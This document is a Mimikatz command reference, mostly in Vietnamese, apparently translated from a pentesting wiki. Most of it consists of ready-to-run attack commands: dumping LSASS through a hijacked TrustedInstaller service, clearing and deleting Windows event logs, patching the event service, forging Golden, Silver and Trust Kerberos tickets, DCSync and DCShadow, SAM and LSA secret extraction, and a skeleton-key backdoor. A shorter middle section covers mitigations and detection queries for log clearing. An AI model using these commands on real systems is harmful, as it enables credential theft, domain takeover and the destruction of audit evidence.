Mimikatz

LM và Clear-text trong bộ nhớ

Từ Windows 8.1 và Windows Server 2012 R2 trở đi:

  • LM hashes và plain-text passwords không còn được lưu trũ trong bộ nhớ. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" phải được cấu hình giá trị DWORD là 0 để disable Digest Authentication, đảm bảo "clear-text" khôn được lưu vào bộ nhớ đệm trong LSASS.

  • LSA Protection bảo vệ Local Security Authority (LSA) process đọc bộ nhớ trái phép và tiêm mã. Điều này đạt được bằng cách đánh dấu LSASS như một protected process. Kích hoạt LSA Protection bao gồm:

    • Điều chỉnh registry tại HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa bằng cách thiết lập RunAsPPL thành dword:00000001.

    • Triển khai Group Policy Object (GPO) thực thi thay đổi registry này trên các thiết bị được quản lý.

    Bất chấp những biện pháp bảo vệ này, các công cụ như Mimikatz có thể phá vỡ LSA Protection bằng cách sử dụng các driver cụ thể, mặc dù những hành động như vậy có thể được ghi lại trong nhật ký sự kiện.

Chống việc loại bỏ SeDebugPrivilege

Quản trị viên thường có SeDebugPrivilege, cho phép họ gỡ lỗi chương trình. Quyền này có thể bị hạn chế để ngăn chặn việc dump bộ nhớ trái phép, một kỹ thuật phổ biến mà kẻ tấn công sử dụng để trích xuất thông tin xác thực từ bộ nhớ. Tuy nhiên, ngay cả khi quyền này bị xóa, tài khoản TrustedInstaller vẫn có thể thực hiện dump bộ nhớ bằng cách sử dụng cấu hình dịch vụ tùy chỉnh:

sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller

Điều này cho phép dump bộ nhớlsass.exevào một tệp, sau đó có thể phân tích tệp này trên một hệ thống khác để trích xuất thông tin xác thực:

# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords

Mimikatz Options

Giả mạo event log trong Mimikatz bao gồm 2 sự kiện chính: Xóa event logs và vá Event service để ngăn chặn việc ghi nhật ký trong các sự kiện mới

Clearing Event Logs

Với quyền quản trị, có thể được xóa bằng các lệnh tiện ích sau:

  • wevtutil cl system

  • wevtutil cl application

  • wevtutil cl security

Hoặc sử dụng Event Viewer, Powershell. Ví dụ, kẻ thù có thể sử dụng lệnh PowerShell Remove-EventLog -LogName Securityđể xóa Security EventLog và sau khi khởi động lại, vô hiệu hóa việc ghi nhật ký trong tương lai. Lưu ý: các sự kiện vẫn có thể được tạo và ghi vào tệp .evtx trong khoảng thời gian giữa thời điểm lệnh được chạy và thời điểm khởi động lại.

Kẻ tấn công cũng có thể cố gắng xóa nhật ký bằng cách xóa trực tiếp các tệp nhật ký được lưu trữ trong C:\Windows\System32\winevt\logs\.

Mitigations

ID
Mitigation
Description

Làm xáo trộn/mã hóa các tệp sự kiện cục bộ và đang chuyển tiếp để tránh đưa ra phản hồi cho đối thủ

Tự động chuyển tiếp các sự kiện đến log server hoặc data repository để ngăn chặn các tình huống mà đối thr có thể dịnh vị và can thiệp dữ liệu trên hệ thống cục bộ. Khi có thể, giảm thiểu độ trễ thời gian khi báo cáo sự kiện để tránh việc lưu trữ kéo dài trên hệ thống cục bộ

Bảo vệ các tệp sự kiện đã tạo được lưu trữ cục bộ với các quyền và xác thực phù hợp, đồng thời hạn chế các cơ hội để đối thủ tăng đặc quyền bằng cách ngăn chặn cơ hội Privilege Escalation.

Detection

ID
Data Source
Data Component
Detects

Giám sát các lệnh và đối số được thực thi để viết các hành động sẽ xóa Windows event logs (via PowerShell) nhưRemove-EventLog -LogName Security.

Note: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) ghi lại các khối lệnh Powershell, có thể được phân tích và sử dụng để phát hiện các nỗ lực Xóa Nhật ký sự kiện Windows (như Clear-EventLog)

Giám sát việc xóa không mong đợi Windows event logs (via native binaries) và cũng có thể tạo ra một sự kiện thay thế (Event ID 1102: "The audit log was cleared"). Khi một event bị xóa, một sự kiện mới sẽ được tạo ra để cảnh bảo. Với Security logs là 1100 và 1102. Với System logs, là 104.

Khi một evenlog bị xóa, điều đó là đáng ngờ

  1. Điều này thường được thực hiện bằng wevtutil. Hành động này càn thiệp vào việc thu thập và thông báo sự kiện, và có thể dẫn đến sự kiện bảo mật không được phát hiện, do đó có khả năng dẫn đến sự xâm phạm mạng nhiều hơn nữa.

  2. Cảnh báo khi Clear Event Log có thể chỉ ra kỹ thuật xâm phạm này. Thu thập sự kiện tập trung có thêm lợi ích alf làm kẻ tấn cống khó che giấu dấu vết hơn nhiều. Event Forwarding cho hpes các nguồn chuyển tiếp nhiều bản sao của một sự kiện đã thu thập dến nhiều trình thu thập, do đó cho phép thu thập sự kiện dự phòng.

  3. Attackers có thể tùy chọn nguồn sự kiện đểLimit-EventLog -LogName Security -OverflowAction DoNotOverwritekhông xóa Eventlog cũ khi .evtx đầy. Theo mặc định, kích thước Security Log được cấu hình với giá trị tối thiểu là 20 480KB (~23 000 EventLog). Nếu option này được bật, tất cả EventLogs mới sẽ tự động bị xóa. Có thể phát hiện hành vi này bằng Security EventLog 1104.

  4. Attackers có thể xóa .evtx với del C:\Windows\System32\winevt\logs\Security.evtx hoặc Remove-Item C:\Windows\System32\winevt\logs\Security.evtx sau khi vô hiêu hoặc dừng Eventlog service. Khi EventLog service bị vô hiệu hóa và dừng, các tệp .evtx không còn được dịch vụ này sử dụng nữa và có thể bị xóa. EventLog mới sẽ không khả dụng cho đến khi cấu hình được đặt lại.

  5. Attackers có thể sử dụng powershell command Remove-EventLog -LogName Security to để hủy đăng ký nguồn sự kiện là một phần của Windows (Application, Security…). Lệnh nay xóa security EventLog (cũng tạo EventId 1102) nhưng Eventlogs mới vẫn được ghi lại cho đến khi hệ thống được khởi động lại . Sau khi System bị khởi động lại, Security log bị hủy đăng ký và không ghi lại bất kỳ Eventlog mới nào. Tuy nhiên, các nhật kỹ được tạo giữ lệnh và quá trình khởi động lại vẫn có trong .evtx file.

Analytic 1 - User Activity from Clearing Event Logs

(source="WinEventLog:Security" EventCode IN (1100, 1102, 1104)) OR (source="WinEventLog:System" EventCode IN (104))

Giám sát Windows API calls có thể xóa Windows Event Logs để ẩn hoạt động xâm nhập.

Giám sát các process mới được thực hiện trong Windows Event Logs

Note: Truy vấn tìm kiếm này sẽ tìm kiếm wevtutil, Clear-EventLog, Limit-EventLog, Remove-Item hoặc Remove-EventLog bên trong lệnh có thể khiến hệ thống xóa Windows Event logs.

Analytic 1 - Clearing Windows Logs with Wevtutil

(source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode="1") OR (source="WinEventLog:Security" EventCode="4688") (Image=wevtutil CommandLine=cl (CommandLine=System OR CommandLine=Security OR CommandLine=Setup OR CommandLine=Application) OR Clear-EventLog OR Limit-EventLog OR (Remove-Item AND .evtx) OR Remove-EventLog)

Tính năng thử nghiệm: Vá Event Service

  • Command: event::drop

  • Lệnh thử nghiệm này được thiết kế để sửa đổi hành vi của Event Logging Service, ngăn chặn hiệu quả việc ghi lại các sự kiện mới.

  • Ví dụ: mimikatz "privilege::debug" "event::drop" exit

  • Lệnhprivilege::debug đảm bảo Mimikatz hoạt động với các đặc quyền cần thiết để sửa đổi các dịch vụ hệ thống.

  • Lệnh event::dropsau đó sẽ vá Event Logging service.

Kerberos Ticket Attacks

Golden Ticket Creation

A Golden Ticket cho phép mạo danh truy cập trên toàn miền:

  • Command: kerberos::golden

  • Parameters:

    • /domain: The domain name.

    • /sid: The domain's Security Identifier (SID).

    • /user: The username to impersonate.

    • /krbtgt: The NTLM hash of the domain's KDC service account.

    • /ptt: Directly injects the ticket into memory.

    • /ticket: Saves the ticket for later use.

Example:

mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit

Silver Ticket Creation

Silver Tickets cấp quyền truy cập vào các dịch vụ cụ thể:

  • Command: Similar to Golden Ticket but targets specific services.

  • Parameters:

    • /service: The service to target (e.g., cifs, http).

    • Other parameters similar to Golden Ticket.

Example:

mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit

Trust Ticket Creation

Trust Tickets được sử dụng để truy cập tài nguyên trên miền bằng cách tận dụng các mối quan hệ tin cậy:

  • Command: Similar to Golden Ticket but for trust relationships.

  • Parameters:

    • /target: The target domain's FQDN.

    • /rc4: The NTLM hash for the trust account.

Example:

mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit

Additional Kerberos Commands

  • Listing Tickets:

    • Command: kerberos::list

    • Lists all Kerberos tickets for the current user session.

  • Pass the Cache:

    • Command: kerberos::ptc

    • Injects Kerberos tickets from cache files.

    • Example: mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit

  • Pass the Ticket:

    • Command: kerberos::ptt

    • Allows using a Kerberos ticket in another session.

    • Example: mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit

  • Purge Tickets:

    • Command: kerberos::purge

    • Clears all Kerberos tickets from the session.

    • Useful before using ticket manipulation commands to avoid conflicts.

Can thiệp Active Directory

  • DCShadow: Tạm thời biến một máy thành DC để thao tác đối tượng AD.

    • mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit

  • DCSync: Mô phỏn DC để yeey cầu dữ liệu mật khẩu

    • mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit

Credential Access

  • LSADUMP::LSA: Extract credentials from LSA.

    • mimikatz "lsadump::lsa /inject" exit

  • LSADUMP::NetSync: Mạo danh DC bằng cách sử dụng dữ liệu mật khẩu của tài khoản máy tính.

    • No specific command provided for NetSync in original context.

  • LSADUMP::SAM: Access local SAM database.

    • mimikatz "lsadump::sam" exit

  • LSADUMP::Secrets: Decrypt secrets stored in the registry.

    • mimikatz "lsadump::secrets" exit

  • LSADUMP::SetNTLM: Set a new NTLM hash for a user.

    • mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit

  • LSADUMP::Trust: Retrieve trust authentication information.

    • mimikatz "lsadump::trust" exit

Điều khoản khác

  • MISC::Skeleton: Inject a backdoor into LSASS on a DC.

    • mimikatz "privilege::debug" "misc::skeleton" exit

Privilege Escalation

  • PRIVILEGE::Backup: Acquire backup rights.

    • mimikatz "privilege::backup" exit

  • PRIVILEGE::Debug: Obtain debug privileges.

    • mimikatz "privilege::debug" exit

Credential Dumping

  • SEKURLSA::LogonPasswords: Hiện thông tin người dùng đã đăng nhập.

    • mimikatz "sekurlsa::logonpasswords" exit

  • SEKURLSA::Tickets: Trích xuất vé Kerberos từ bộ nhớ.

    • mimikatz "sekurlsa::tickets /export" exit

Sid and Token Manipulation

  • SID::add/modify: Change SID and SIDHistory.

    • Add: mimikatz "sid::add /user:targetUser /sid:newSid" exit

    • Modify: No specific command for modify in original context.

  • TOKEN::Elevate: Token mạo danh.

    • mimikatz "token::elevate /domainadmin" exit

Terminal Services

  • TS::MultiRDP: Cho phép nhiều RDP sessions.

    • mimikatz "ts::multirdp" exit

  • TS::Sessions: List TS/RDP sessions.

    • No specific command provided for TS::Sessions in original context.

Vault

  • Extract passwords from Windows Vault.

    • mimikatz "vault::cred /patch" exit

References

Last updated